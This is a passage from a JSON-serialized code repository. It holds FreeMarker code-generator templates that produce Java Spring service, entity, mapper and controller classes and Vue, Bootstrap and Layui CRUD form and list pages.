    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport java.util.Map;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.common.utils.PageUtils;\nimport ${packageName}.common.utils.Query;\n\nimport ${packageName}.dao.${classInfo.className}Dao;\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n\n@Service(\"${classInfo.className?uncap_first}Service\")\npublic class ${classInfo.className}Service extends ServiceImpl<${classInfo.className}Dao, ${classInfo.className}Entity> {\n\n    @Override\n    public PageUtils queryPage(Map<String, Object> params) {\n        IPage<${classInfo.className}Entity> page = this.page(\n            new Query<${classInfo.className}Entity>().getPage(params),\n                new QueryWrapper<${classInfo.className}Entity>()\n            );\n\n        return new PageUtils(page);\n    }\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/renren-fast/vue-edit.ftl",
    "content": "<template>\n    <el-dialog\n            :title=\"!dataForm.${classInfo.className?uncap_first}Id ? '新增' : '修改'\"\n            :close-on-click-modal=\"false\"\n            :visible.sync=\"visible\">\n        <el-form :model=\"dataForm\" :rules=\"dataRule\" ref=\"dataForm\" @keyup.enter.native=\"dataFormSubmit()\" label-width=\"80px\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <el-form-item label=\"${fieldItem.fieldComment}\" prop=\"${fieldItem.fieldName}\">\n                        <el-input v-model=\"dataForm.${fieldItem.fieldName}\" placeholder=\"${fieldItem.fieldComment}\"></el-input>\n                    </el-form-item>\n                </#list>\n            </#if>\n        </el-form>\n        <span slot=\"footer\" class=\"dialog-footer\">\n      <el-button @click=\"visible = false\">取消</el-button>\n      <el-button type=\"primary\" @click=\"dataFormSubmit()\">确定</el-button>\n    </span>\n    </el-dialog>\n</template>\n\n<script>\n    export default {\n        data () {\n            return {\n                visible: false,\n                dataForm: {\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                    ${fieldItem.fieldName}: ''<#if fieldItem_has_next>,</#if>\n            </#list>\n            </#if>\n        },\n            dataRule: {\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                ${fieldItem.fieldName}: [{ required: true, message: '${fieldItem.fieldComment}不能为空', trigger: 'blur' }]<#if fieldItem_has_next>,</#if>\n                </#list>\n                </#if>\n            }\n        }\n        },\n        methods: {\n            init (id) {\n                this.dataForm.${classInfo.className?uncap_first}Id = id || 0\n                this.visible = true\n                this.￥nextTick(() => {\n                    this.￥refs['dataForm'].resetFields()\n                    // <!-- 请把 ${classInfo.className?uncap_first}Id 替换成正确的ID -->\n                    if (this.dataForm.${classInfo.className?uncap_first}Id) {\n                        this.￥http({\n                            url: this.￥http.adornUrl(`/generator/${classInfo.className?uncap_first}/info/￥{this.dataForm.${classInfo.className?uncap_first}Id}`),\n                            method: 'get',\n                            params: this.￥http.adornParams()\n                    }).then(({data}) => {\n                            if (data && data.code === 0) {\n                                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                                <#list classInfo.fieldList as fieldItem >\n                                this.dataForm.${fieldItem.fieldName} = data.${classInfo.className?uncap_first}.${fieldItem.fieldName}\n                                </#list>\n                                </#if>\n                            }\n                        })\n                    }\n                })\n            },\n            // 表单提交\n            dataFormSubmit () {\n                this.￥refs['dataForm'].validate((valid) => {\n                    if (valid) {\n                    this.￥http({\n                        url: this.￥http.adornUrl(`/generator/${classInfo.className?uncap_first}/￥{this.dataForm.${classInfo.className?uncap_first}Id? 'save' : 'update'}`),\n                        method: 'post',\n                        data: this.￥http.adornData({\n                        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                        <#list classInfo.fieldList as fieldItem >\n                            '${fieldItem.fieldName}': '${fieldItem.fieldName}' || undefined<#if fieldItem_has_next>,</#if>\n                        </#list>\n                        </#if>\n                        })\n                }).then(({data}) => {\n                        if (data && data.code === 0) {\n                            this.￥message({\n                                message: '操作成功',\n                                type: 'success',\n                                duration: 1500,\n                                onClose: () => {\n                                    this.visible = false\n                                    this.￥emit('refreshDataList')\n                                }\n                        })\n                        } else {\n                            this.￥message.error(data.msg)\n                        }\n                    })\n                }\n                })\n            }\n        }\n    }\n</script>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/renren-fast/vue-list.ftl",
    "content": "<template>\n    <div class=\"mod-config\">\n        <el-form :inline=\"true\" :model=\"dataForm\" @keyup.enter.native=\"getDataList()\">\n            <el-form-item>\n                <el-input v-model=\"dataForm.key\" placeholder=\"参数名\" clearable></el-input>\n            </el-form-item>\n            <el-form-item>\n                <el-button @click=\"getDataList()\">查询</el-button>\n                <el-button v-if=\"isAuth('generator:${classInfo.className?uncap_first}:save')\" type=\"primary\" @click=\"addOrUpdateHandle()\">新增</el-button>\n                <el-button v-if=\"isAuth('generator:${classInfo.className?uncap_first}:delete')\" type=\"danger\" @click=\"deleteHandle()\" :disabled=\"dataListSelections.length <= 0\">批量删除</el-button>\n            </el-form-item>\n        </el-form>\n        <el-table\n                :data=\"dataList\"\n                border\n                v-loading=\"dataListLoading\"\n                @selection-change=\"selectionChangeHandle\"\n                style=\"width: 100%;\">\n            <el-table-column\n                    type=\"selection\"\n                    header-align=\"center\"\n                    align=\"center\"\n                    width=\"50\">\n            </el-table-column>\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <el-table-column\n                            prop=\"${fieldItem.fieldName}\"\n                            header-align=\"center\"\n                            align=\"center\"\n                            label=\"${fieldItem.fieldComment}\">\n                    </el-table-column>\n                </#list>\n            </#if>\n            <el-table-column\n                    fixed=\"right\"\n                    header-align=\"center\"\n                    align=\"center\"\n                    width=\"150\"\n                    label=\"操作\">\n                <template slot-scope=\"scope\">\n                    <!-- 请把 ${classInfo.className?uncap_first}Id 替换成正确的ID -->\n                    <el-button type=\"text\" size=\"small\" @click=\"addOrUpdateHandle(scope.row.${classInfo.className?uncap_first}Id)\">修改</el-button>\n                    <el-button type=\"text\" size=\"small\" @click=\"deleteHandle(scope.row.${classInfo.className?uncap_first}Id)\">删除</el-button>\n                </template>\n            </el-table-column>\n        </el-table>\n        <el-pagination\n                @size-change=\"sizeChangeHandle\"\n                @current-change=\"currentChangeHandle\"\n                :current-page=\"pageIndex\"\n                :page-sizes=\"[10, 20, 50, 100]\"\n                :page-size=\"pageSize\"\n                :total=\"totalPage\"\n                layout=\"total, sizes, prev, pager, next, jumper\">\n        </el-pagination>\n        <!-- 弹窗, 新增 / 修改 -->\n        <add-or-update v-if=\"addOrUpdateVisible\" ref=\"addOrUpdate\" @refreshDataList=\"getDataList\"></add-or-update>\n    </div>\n</template>\n\n<script>\n    import AddOrUpdate from './${classInfo.className?uncap_first}-add-or-update'\n    export default {\n        data () {\n            return {\n                dataForm: {\n                    key: ''\n                },\n                dataList: [],\n                pageIndex: 1,\n                pageSize: 10,\n                totalPage: 0,\n                dataListLoading: false,\n                dataListSelections: [],\n                addOrUpdateVisible: false\n            }\n        },\n        components: {\n            AddOrUpdate\n        },\n        activated () {\n            this.getDataList()\n        },\n        methods: {\n            // 获取数据列表\n            getDataList () {\n                this.dataListLoading = true\n                this.￥http({\n                url: this.￥http.adornUrl('/generator/${classInfo.className?uncap_first}/list'),\n                    method: 'get',\n                    params: this.￥http.adornParams({\n                        'page': this.pageIndex,\n                        'limit': this.pageSize,\n                        'key': this.dataForm.key\n                    })\n            }).then(({data}) => {\n                    if (data && data.code === 0) {\n                        this.dataList = data.page.list\n                        this.totalPage = data.page.totalCount\n                    } else {\n                        this.dataList = []\n                        this.totalPage = 0\n                    }\n                    this.dataListLoading = false\n                })\n            },\n            // 每页数\n            sizeChangeHandle (val) {\n                this.pageSize = val\n                this.pageIndex = 1\n                this.getDataList()\n            },\n            // 当前页\n            currentChangeHandle (val) {\n                this.pageIndex = val\n                this.getDataList()\n            },\n            // 多选\n            selectionChangeHandle (val) {\n                this.dataListSelections = val\n            },\n            // 新增 / 修改\n            addOrUpdateHandle (id) {\n                this.addOrUpdateVisible = true\n                this.￥nextTick(() => {\n                    this.￥refs.addOrUpdate.init(id)\n                })\n            },\n            // 删除\n            deleteHandle (id) {\n                var ids = id ? [id] : this.dataListSelections.map(item => {\n                    return item.${classInfo.className?uncap_first}Id\n                })\n                this.￥confirm(`确定对[id=￥{ids.join(',')}]进行[￥{id ? '删除' : '批量删除'}]操作?`, '提示', {\n                    confirmButtonText: '确定',\n                    cancelButtonText: '取消',\n                    type: 'warning'\n            }).then(() => {\n                    this.￥http({\n                        url: this.￥http.adornUrl('/generator/${classInfo.className?uncap_first}/delete'),\n                        method: 'post',\n                        data: this.￥http.adornData(ids, false)\n                }).then(({data}) => {\n                        if (data && data.code === 0) {\n                            this.￥message({\n                                message: '操作成功',\n                                type: 'success',\n                                duration: 1500,\n                                onClose: () => {\n                                this.getDataList()\n                            }\n                        })\n                        } else {\n                            this.￥message.error(data.msg)\n                        }\n                    })\n                })\n            }\n        }\n    }\n</script>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/service.ftl",
    "content": "package ${packageService};\nimport java.util.Map;\n\nimport ${packageModel}.${classInfo.className};\nimport com.jun.plugin.codegenerator.admin.model.ReturnT;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\npublic interface ${classInfo.className}Service {\n\n    /**\n    * 新增\n    */\n    public ReturnT<String> insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public ReturnT<String> delete(int id);\n\n    /**\n    * 更新\n    */\n    public ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * Load查询\n    */\n    public ${classInfo.className} load(int id);\n\n    /**\n    * 分页查询\n    */\n    public Map<String,Object> pageList(int offset, int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/service_impl.ftl",
    "content": "package ${packageServiceImpl};\n\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.biz.dao.${classInfo.className}Dao;\nimport ${packageModel}.${classInfo.className};\nimport ${packageService}.${classInfo.className}Service;\nimport com.jun.plugin.codegenerator.admin.model.ReturnT;\n\nimport javax.annotation.Resource;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\n@Service\npublic class ${classInfo.className}ServiceImpl implements ${classInfo.className}Service {\n\n\t@Resource\n\tprivate ${classInfo.className}Dao ${classInfo.className?uncap_first}Dao;\n\n\t/**\n    * 新增\n    */\n\t@Override\n\tpublic ReturnT<String> insert(${classInfo.className} ${classInfo.className?uncap_first}) {\n\n\t\t// valid\n\t\tif (${classInfo.className?uncap_first} == null) {\n\t\t\treturn new ReturnT<String>(ReturnT.FAIL_CODE, \"必要参数缺失\");\n        }\n\n\t\t${classInfo.className?uncap_first}Dao.insert(${classInfo.className?uncap_first});\n        return ReturnT.SUCCESS;\n\t}\n\n\t/**\n\t* 删除\n\t*/\n\t@Override\n\tpublic ReturnT<String> delete(int id) {\n\t\tint ret = ${classInfo.className?uncap_first}Dao.delete(id);\n\t\treturn ret>0?ReturnT.SUCCESS:ReturnT.FAIL;\n\t}\n\n\t/**\n\t* 更新\n\t*/\n\t@Override\n\tpublic ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first}) {\n\t\tint ret = ${classInfo.className?uncap_first}Dao.update(${classInfo.className?uncap_first});\n\t\treturn ret>0?ReturnT.SUCCESS:ReturnT.FAIL;\n\t}\n\n\t/**\n\t* Load查询\n\t*/\n\t@Override\n\tpublic ${classInfo.className} load(int id) {\n\t\treturn ${classInfo.className?uncap_first}Dao.load(id);\n\t}\n\n\t/**\n\t* 分页查询\n\t*/\n\t@Override\n\tpublic Map<String,Object> pageList(int offset, int pagesize) {\n\n\t\tList<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Dao.pageList(offset, pagesize);\n\t\tint totalCount = ${classInfo.className?uncap_first}Dao.pageListCount(offset, pagesize);\n\n\t\t// result\n\t\tMap<String, Object> result = new HashMap<String, Object>();\n\t\tresult.put(\"pageList\", pageList);\n\t\tresult.put(\"totalCount\", totalCount);\n\n\t\treturn result;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/tk-mapper/tkentity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.*;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @GeneratedValue(strategy = GenerationType.IDENTITY)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/tk-mapper/tkmapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport tk.mybatis.mapper.common.Mapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport ${packageName}.entity.${classInfo.className};\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends Mapper<${classInfo.className}> {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/tk-mybatis/tk-controller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport org.springframework.data.domain.Example;\nimport org.springframework.data.domain.Pageable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\n\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        if(${classInfo.className?uncap_first}Mapper.selectCount(${classInfo.className?uncap_first})>0){\n            ${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        }else{\n            ${classInfo.className?uncap_first}Mapper.updateByPrimaryKeySelective(${classInfo.className?uncap_first});\n        }\n        return ${returnUtilSuccess}(\"新增或编辑成功\");\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n        if(${classInfo.className?uncap_first}Mapper.selectCount(${classInfo.className?uncap_first})>0){\n            ${classInfo.className?uncap_first}Mapper.deleteByPrimaryKey(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Mapper.selectOne(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first}.get());\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n            //TBC\n            return ${classInfo.className?uncap_first}Mapper.selectList(${classInfo.className?uncap_first});\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/tk-mybatis/tk-entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport io.mybatis.provider.Entity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Entity.Table(\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    //@Entity.Column(id = true)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Entity.Column(\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#list>\n</#if>\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/tk-mybatis/tk-mapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>import ${packageName}.entity.${classInfo.className};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.util.List;\nimport io.mybatis.mapper.Mapper;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@org.apache.ibatis.annotations.Mapper\npublic interface ${classInfo.className}Mapper extends Mapper<${classInfo.className},Integer> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/ui/${classInfo.className}bootstrap.html.ftl",
    "content": "<form action=\"/${classInfo.className?uncap_first}/save\">\n\n    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n        <#list classInfo.fieldList as fieldItem >\n            <div class=\"form-group\">\n                <label for=\"${fieldItem.fieldName}Label\">${fieldItem.fieldComment}</label>\n                <input type=\"input\" class=\"form-control\" id=\"${fieldItem.fieldName}\" name=\"${fieldItem.fieldName}\" placeholder=\"请输入${fieldItem.fieldComment}\">\n            </div>\n        </#list>\n    </#if>\n\n    <button type=\"submit\" class=\"btn btn-primary\">保存</button>\n</form>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/ui/${classInfo.className}element.vuel.ftl",
    "content": "<el-form :inline=\"true\" :model=\"submitData\" class=\"demo-form-inline\" :rules=\"rules\" ref=\"ruleForm\">\n    <el-card class=\"box-card\">\n        <div slot=\"header\" class=\"header clearfix\">\n            <span>${classInfo.classComment}</span>\n            <el-button v-if=\"!ischeck && !isFind\" class=\"fr\" type=\"primary\" @click=\"validate('ruleForm')\">提交</el-button>\n            <el-button v-else class=\"fr\" type=\"primary\" @click=\"goBack\">返回</el-button>\n        </div>\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n             <el-form-item label=\"${fieldItem.fieldComment}\" prop=\"${fieldItem.fieldName}\">\n                 <el-input placeholder=\"请输入${fieldItem.fieldComment}\" v-model=\"formData.${fieldItem.fieldName}\"></el-input>\n             </el-form-item>\n            </#list>\n        </#if>\n    </el-card>\n</el-form>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/ui/${classInfo.className}layui-edit.html.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<body>\n<div class=\"layui-form layuimini-form\">\n    <input type=\"hidden\" name=\"${classInfo.className?uncap_first}Id\" value=\"\" class=\"layui-input\">\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n    <div class=\"layui-form-item\">\n        <label class=\"layui-form-label required\">${fieldItem.fieldComment}</label>\n        <div class=\"layui-input-block\">\n            <input type=\"text\" name=\"${fieldItem.fieldName}\" lay-verify=\"required\" lay-reqtext=\"${fieldItem.fieldComment}不能为空\" placeholder=\"请输入${fieldItem.fieldComment}\" value=\"￥{(${classInfo.className?uncap_first}.${fieldItem.fieldName})!!}\" class=\"layui-input\">\n            <#--<tip>${fieldItem.fieldComment}</tip>-->\n        </div>\n    </div>\n    </#list>\n</#if>\n\n    <div class=\"layui-form-item\">\n        <div class=\"layui-input-block\">\n            <button class=\"layui-btn\" lay-submit lay-filter=\"saveBtn\">确认保存</button>\n        </div>\n    </div>\n</div>\n</div>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form'], function () {\n        var form = layui.form,\n            layer = layui.layer,\n            $ = layui.$;\n\n        //监听提交\n        form.on('submit(saveBtn)', function (data) {\n            $.ajax({\n                type: 'POST',\n                url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/save\",\n                data:JSON.stringify(data.field),\n                dataType: \"json\",\n                contentType: \"application/json\",\n                success: function (responseData) {\n                    if (responseData.code === 200) {\n                        layer.msg(responseData.msg, function () {\n                            // 关闭弹出层\n                            //layer.close(index);\n                            var iframeIndex = parent.layer.getFrameIndex(window.name);\n                            parent.layer.close(iframeIndex);\n                            parent.searchBtn.click();\n                        });\n                    } else {\n                        layer.msg(responseData.msg, function () {\n                            //window.location = '/index.html';\n                        });\n                    }\n                }\n            });\n            return false;\n        });\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/ui/${classInfo.className}layui-edit2.html.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<body>\n<form class=\"layui-form p-page\">\n\t<h3 class=\"pb-3\">新增XXX信息</h3>\n\t<table class=\"layui-table layui-table-form\">\n\n    <input type=\"hidden\" name=\"${classInfo.className?uncap_first}Id\" value=\"\" class=\"layui-input\">\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n         <#assign counter = fieldItem_index + 1>\n        <#-- ${counter} - ${fieldItem} <br> -->\n        <#if counter%3 == 0><tr></#if>\n        <td class=\"layui-td-gray\">${fieldItem.fieldComment}</td>\n                    <td><input type=\"text\" name=\"${fieldItem.fieldName}\" autocomplete=\"off\" lay-verify=\"required\"  lay-reqtext=\"${fieldItem.fieldComment}不能为空\"\n                     placeholder=\"请输入${fieldItem.fieldComment}\"  class=\"layui-input\"></td>\n         <#--<tip>${fieldItem.fieldComment}</tip>-->\n<#if counter%3 == 0></tr></#if>\n    </#list>\n</#if>\n\n        <tr><td colspan=\"6\"><strong>备注信息</strong></td></tr>\n        <tr>\n            <td colspan=\"6\"><textarea name=\"remark\" placeholder=\"请输入备注信息\" class=\"layui-textarea\"></textarea></td>\n        </tr>\n\n    </table>\n    \t<div class=\"pt-4\">\n    \t\t<input type=\"hidden\" name=\"id\" value=\"0\"/>\n    \t\t<input type=\"hidden\" name=\"scene\" value=\"add\"/>\n    \t\t<button class=\"layui-btn layui-btn-normal\" lay-submit=\"\" lay-filter=\"webform\">立即提交</button>\n    \t\t<button type=\"reset\" class=\"layui-btn layui-btn-primary\">重置</button>\n    \t</div>\n    </form>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form'], function () {\n        var form = layui.form,\n            layer = layui.layer,\n            $ = layui.$;\n\n        //监听提交\n        form.on('submit(saveBtn)', function (data) {\n            $.ajax({\n                type: 'POST',\n                url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/save\",\n                data:JSON.stringify(data.field),\n                dataType: \"json\",\n                contentType: \"application/json\",\n                success: function (responseData) {\n                    if (responseData.code === 200) {\n                        layer.msg(responseData.msg, function () {\n                            // 关闭弹出层\n                            //layer.close(index);\n                            var iframeIndex = parent.layer.getFrameIndex(window.name);\n                            parent.layer.close(iframeIndex);\n                            parent.searchBtn.click();\n                        });\n                    } else {\n                        layer.msg(responseData.msg, function () {\n                            //window.location = '/index.html';\n                        });\n                    }\n                }\n            });\n            return false;\n        });\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/ui/${classInfo.className}layui-list.html.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<body>\n<div class=\"layuimini-container\">\n    <div class=\"layuimini-main\">\n\n        <fieldset class=\"table-search-fieldset\">\n            <legend>搜索信息</legend>\n            <div style=\"margin: 10px 10px 10px 10px\">\n                <form class=\"layui-form layui-form-pane\" action=\"\">\n                    <div class=\"layui-form-item\">\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}Id</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Id\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}名称</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Name\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <button id=\"searchBtn\" type=\"submit\" class=\"layui-btn layui-btn-primary\" lay-submit  lay-filter=\"data-search-btn\"><i class=\"layui-icon\"></i> 搜 索</button>\n                        </div>\n                    </div>\n                </form>\n            </div>\n        </fieldset>\n\n        <script type=\"text/html\" id=\"toolbarDemo\">\n            <div class=\"layui-btn-container\">\n                <button class=\"layui-btn layui-btn-normal layui-btn-sm data-add-btn\" lay-event=\"add\">  <i class=\"layui-icon layui-icon-addition\"></i>${classInfo.classComment} </button>\n               <#-- <button class=\"layui-btn layui-btn-normal layui-btn-sm layui-btn-danger data-delete-btn\" lay-event=\"del\"> 删除${classInfo.classComment} </button>-->\n            </div>\n        </script>\n\n        <table class=\"layui-hide\" id=\"currentTableId\" lay-filter=\"currentTableFilter\"></table>\n\n        <script type=\"text/html\" id=\"currentTableBar\">\n            <a class=\"layui-btn layui-btn-xs data-count-edit\" lay-event=\"edit\">编辑</a>\n         